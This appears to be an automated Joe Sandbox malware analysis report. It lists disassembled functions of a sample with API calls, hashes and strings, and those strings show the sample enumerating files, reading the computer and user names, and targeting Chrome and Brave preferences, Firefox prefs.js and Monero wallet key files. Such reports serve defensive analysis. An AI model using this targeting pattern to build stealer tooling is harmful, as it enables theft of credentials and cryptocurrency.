Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 9760f6c74278bc8282ebed2d863784914eead92a78bec51bf39876d4de2150ca
Instruction ID: 89aced8af5183069d17bb9f0506a8c0c77cfb0a51cc00265a51322436aa5aa70
Opcode Fuzzy Hash: 9760f6c74278bc8282ebed2d863784914eead92a78bec51bf39876d4de2150ca
Instruction Fuzzy Hash: 16E0E674A45308FBF710ABA49D0AB0D7678AB44B42F104155F709761D0D6B52640979E

Function 00A410A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00A410B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00A410F7

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 03408ecc4fee333a27eecf74150d8f4e594fcc1243364319a177f068100fd5e4
Instruction ID: 188562dde33a426930c5f75adb70b4b99b8385defb0f471bc7fdd1358c461682
Opcode Fuzzy Hash: 03408ecc4fee333a27eecf74150d8f4e594fcc1243364319a177f068100fd5e4
Instruction Fuzzy Hash: C1F0E2B1641208BBE7149BA4AC49FAEB7E8E705B15F300448F904E3280D5719E40DBA4

Function 00A41190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00A578E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A57910
Part of subcall function 00A578E0: RtlAllocateHeap.NTDLL(00000000), ref: 00A57917
Part of subcall function 00A578E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00A5792F

Part of subcall function 00A57850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00A411B7), ref: 00A57880
Part of subcall function 00A57850: RtlAllocateHeap.NTDLL(00000000), ref: 00A57887
Part of subcall function 00A57850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00A5789F

ExitProcess.KERNEL32 ref: 00A411C6

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: ba2836f2f61c5dfa815cd08f09563504f8526af4846810bba1ad2f727341b48c
Instruction ID: c241297842ee1e5b144ef2545f1296901b0a5ad3ad0dc97ed9ce1906e105fe5a
Opcode Fuzzy Hash: ba2836f2f61c5dfa815cd08f09563504f8526af4846810bba1ad2f727341b48c
Instruction Fuzzy Hash: E7E012B591430157DE0077B4BD0AB2E329C6B54387F040529FF05E3102FE39E885866E

Non-executed Functions

Function 00A538B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00A538CC
FindFirstFileA.KERNEL32(?,?), ref: 00A538E3
lstrcat.KERNEL32(?,?), ref: 00A53935
StrCmpCA.SHLWAPI(?,00A60F70), ref: 00A53947
StrCmpCA.SHLWAPI(?,00A60F74), ref: 00A5395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00A53C67
FindClose.KERNEL32(000000FF), ref: 00A53C7C

Strings

%s%s, xrefs: 00A53AAD
%s\%s, xrefs: 00A53A6F
%s\%s\%s, xrefs: 00A53A4A
%s\%s, xrefs: 00A5397A
%s\*, xrefs: 00A538C0

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 222e2dd1f18fd7acc568492311b180df23bae02f8cadcace2d5364d7e942b6c6
Instruction ID: 61efe1752c5136ced0887f5a90871ba58452b67d7f7cafb2586ecc77c49e625e
Opcode Fuzzy Hash: 222e2dd1f18fd7acc568492311b180df23bae02f8cadcace2d5364d7e942b6c6
Instruction Fuzzy Hash: 25A135B2900218ABDF24DF64DD85FEE7378BB98301F044589FA0D96141EB759B88CF66

Function 00A4BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

Part of subcall function 00A5A920: lstrcpy.KERNEL32(00000000,?), ref: 00A5A972
Part of subcall function 00A5A920: lstrcat.KERNEL32(00000000), ref: 00A5A982

Part of subcall function 00A5A9B0: lstrlen.KERNEL32(?,016091B8,?,\Monero\wallet.keys,00A60E17), ref: 00A5A9C5
Part of subcall function 00A5A9B0: lstrcpy.KERNEL32(00000000), ref: 00A5AA04
Part of subcall function 00A5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A5AA12

Part of subcall function 00A5A8A0: lstrcpy.KERNEL32(?,00A60E17), ref: 00A5A905

FindFirstFileA.KERNEL32(00000000,?,00A60B32,00A60B2B,00000000,?,?,?,00A613F4,00A60B2A), ref: 00A4BEF5
StrCmpCA.SHLWAPI(?,00A613F8), ref: 00A4BF4D
StrCmpCA.SHLWAPI(?,00A613FC), ref: 00A4BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00A4C7BF
FindClose.KERNEL32(000000FF), ref: 00A4C7D1

Strings

Preferences, xrefs: 00A4C11E
Google Chrome, xrefs: 00A4C634
Brave, xrefs: 00A4C102
\Brave\Preferences, xrefs: 00A4C1DB

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: d65c7aaec9f3e784c1ccc44bd4c09a2905d38fb12cbbb457f7fd0005f573c06b
Instruction ID: 21c56efec867dba9519a0fe25f2f5d2918145206f5804d3af1545da8f4e5d326
Opcode Fuzzy Hash: d65c7aaec9f3e784c1ccc44bd4c09a2905d38fb12cbbb457f7fd0005f573c06b
Instruction Fuzzy Hash: AA425672A10104ABDB14FB70DE56EED737CBFA4301F404658B90A96191EF34AB4DCBA2

Function 00A54910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00A5492C
FindFirstFileA.KERNEL32(?,?), ref: 00A54943
StrCmpCA.SHLWAPI(?,00A60FDC), ref: 00A54971
StrCmpCA.SHLWAPI(?,00A60FE0), ref: 00A54987
FindNextFileA.KERNEL32(000000FF,?), ref: 00A54B7D
FindClose.KERNEL32(000000FF), ref: 00A54B92

Strings

%s\*, xrefs: 00A54920
%s\%s, xrefs: 00A549FB
%s\%s, xrefs: 00A549A4

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 7bf42351ba7253a27fdda3ae7a4c896f4dd72749536fd66be902c62b9e099755
Instruction ID: 249fa447ce8af88f89297dccbb34106e62a385fafb96c528426a36cf2745f617
Opcode Fuzzy Hash: 7bf42351ba7253a27fdda3ae7a4c896f4dd72749536fd66be902c62b9e099755
Instruction Fuzzy Hash: EF6155B1910218ABDB24EBB0DC45FEE737CBB48701F044589F60996141EB75EB89CFA5

Function 00A54570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00A54580
RtlAllocateHeap.NTDLL(00000000), ref: 00A54587
wsprintfA.USER32 ref: 00A545A6
FindFirstFileA.KERNEL32(?,?), ref: 00A545BD
StrCmpCA.SHLWAPI(?,00A60FC4), ref: 00A545EB
StrCmpCA.SHLWAPI(?,00A60FC8), ref: 00A54601
FindNextFileA.KERNEL32(000000FF,?), ref: 00A5468B
FindClose.KERNEL32(000000FF), ref: 00A546A0
lstrcat.KERNEL32(?,0160EAF0), ref: 00A546C5
lstrcat.KERNEL32(?,0160DE40), ref: 00A546D8
lstrlen.KERNEL32(?), ref: 00A546E5
lstrlen.KERNEL32(?), ref: 00A546F6

Strings

%s\*, xrefs: 00A5459A
%s\%s, xrefs: 00A5461B

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 196247e1f5ff97a369fc9df323855009eaed38268017a140219f2d3b0ac8825f
Instruction ID: c4d73ef6f805b6a777a54cd8dbb3ef46e60193c23aceb17fd4b7edfd9e2dd719
Opcode Fuzzy Hash: 196247e1f5ff97a369fc9df323855009eaed38268017a140219f2d3b0ac8825f
Instruction Fuzzy Hash: DE5166B5910218ABD724EB70DD89FEE737CBB58301F404589F60996190EB749BC8CFA6

Function 00A53EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00A53EC3
FindFirstFileA.KERNEL32(?,?), ref: 00A53EDA
StrCmpCA.SHLWAPI(?,00A60FAC), ref: 00A53F08
StrCmpCA.SHLWAPI(?,00A60FB0), ref: 00A53F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00A5406C
FindClose.KERNEL32(000000FF), ref: 00A54081

Strings

%s\%s, xrefs: 00A53EB7

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: b807be5ed19fb4c4d0514c8bcbaed11ce4f10a7b9e4b047f1ed1bcedbcc0f07c
Instruction ID: 4bd653ea469b44cb767f485deff31c35c1f2a9c32facfb021752007e405e3793
Opcode Fuzzy Hash: b807be5ed19fb4c4d0514c8bcbaed11ce4f10a7b9e4b047f1ed1bcedbcc0f07c
Instruction Fuzzy Hash: 0A516BB2900218EBDB24EBB0DD45FEE737CBB58301F004589B65996080EB75EB89CF65

Function 00A4ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00A4ED3E
FindFirstFileA.KERNEL32(?,?), ref: 00A4ED55
StrCmpCA.SHLWAPI(?,00A61538), ref: 00A4EDAB
StrCmpCA.SHLWAPI(?,00A6153C), ref: 00A4EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00A4F2AE
FindClose.KERNEL32(000000FF), ref: 00A4F2C3

Strings

%s\*.*, xrefs: 00A4ED32

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: c3b95895bd81b9d4cf65a7152431b7d98f4c41f18c691b94b6a4713ef05a400e
Instruction ID: b066be49ceb308101cd0ddf29d9335bfc613137ed01741a9ec3e118fd4a7c47c
Opcode Fuzzy Hash: c3b95895bd81b9d4cf65a7152431b7d98f4c41f18c691b94b6a4713ef05a400e
Instruction Fuzzy Hash: 95E1B672A111189AEB54FB60DD51EEE7338BF64301F404699B90B62092EF306F8ECF56

Function 00A4F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

Part of subcall function 00A5A920: lstrcpy.KERNEL32(00000000,?), ref: 00A5A972
Part of subcall function 00A5A920: lstrcat.KERNEL32(00000000), ref: 00A5A982

Part of subcall function 00A5A9B0: lstrlen.KERNEL32(?,016091B8,?,\Monero\wallet.keys,00A60E17), ref: 00A5A9C5
Part of subcall function 00A5A9B0: lstrcpy.KERNEL32(00000000), ref: 00A5AA04
Part of subcall function 00A5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A5AA12

Part of subcall function 00A5A8A0: lstrcpy.KERNEL32(?,00A60E17), ref: 00A5A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00A615B8,00A60D96), ref: 00A4F71E
StrCmpCA.SHLWAPI(?,00A615BC), ref: 00A4F76F
StrCmpCA.SHLWAPI(?,00A615C0), ref: 00A4F785
FindNextFileA.KERNEL32(000000FF,?), ref: 00A4FAB1
FindClose.KERNEL32(000000FF), ref: 00A4FAC3

Strings

prefs.js, xrefs: 00A4F812

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 3052828c356465711fb326483e856c73f821602ba03a26889ce307fa3e2fc919
Instruction ID: 9ab5ec8d26c1e0e70d384df21688e87a20d5541f8c2a39b61e905c0a79968b40
Opcode Fuzzy Hash: 3052828c356465711fb326483e856c73f821602ba03a26889ce307fa3e2fc919
Instruction Fuzzy Hash: 70B16475A001189FDB24FF60DD95FEE7778BFA4301F4086A8A80A96141EF306B4DCB92

Function 00A416D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00A6510C,?,?,?,00A651B4,?,?,00000000,?,00000000), ref: 00A41923
StrCmpCA.SHLWAPI(?,00A6525C), ref: 00A41973
StrCmpCA.SHLWAPI(?,00A65304), ref: 00A41989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00A41D40
DeleteFileA.KERNEL32(00000000), ref: 00A41DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00A41E20
FindClose.KERNEL32(000000FF), ref: 00A41E32

Part of subcall function 00A5A920: lstrcpy.KERNEL32(00000000,?), ref: 00A5A972
Part of subcall function 00A5A920: lstrcat.KERNEL32(00000000), ref: 00A5A982

Part of subcall function 00A5A9B0: lstrlen.KERNEL32(?,016091B8,?,\Monero\wallet.keys,00A60E17), ref: 00A5A9C5
Part of subcall function 00A5A9B0: lstrcpy.KERNEL32(00000000), ref: 00A5AA04
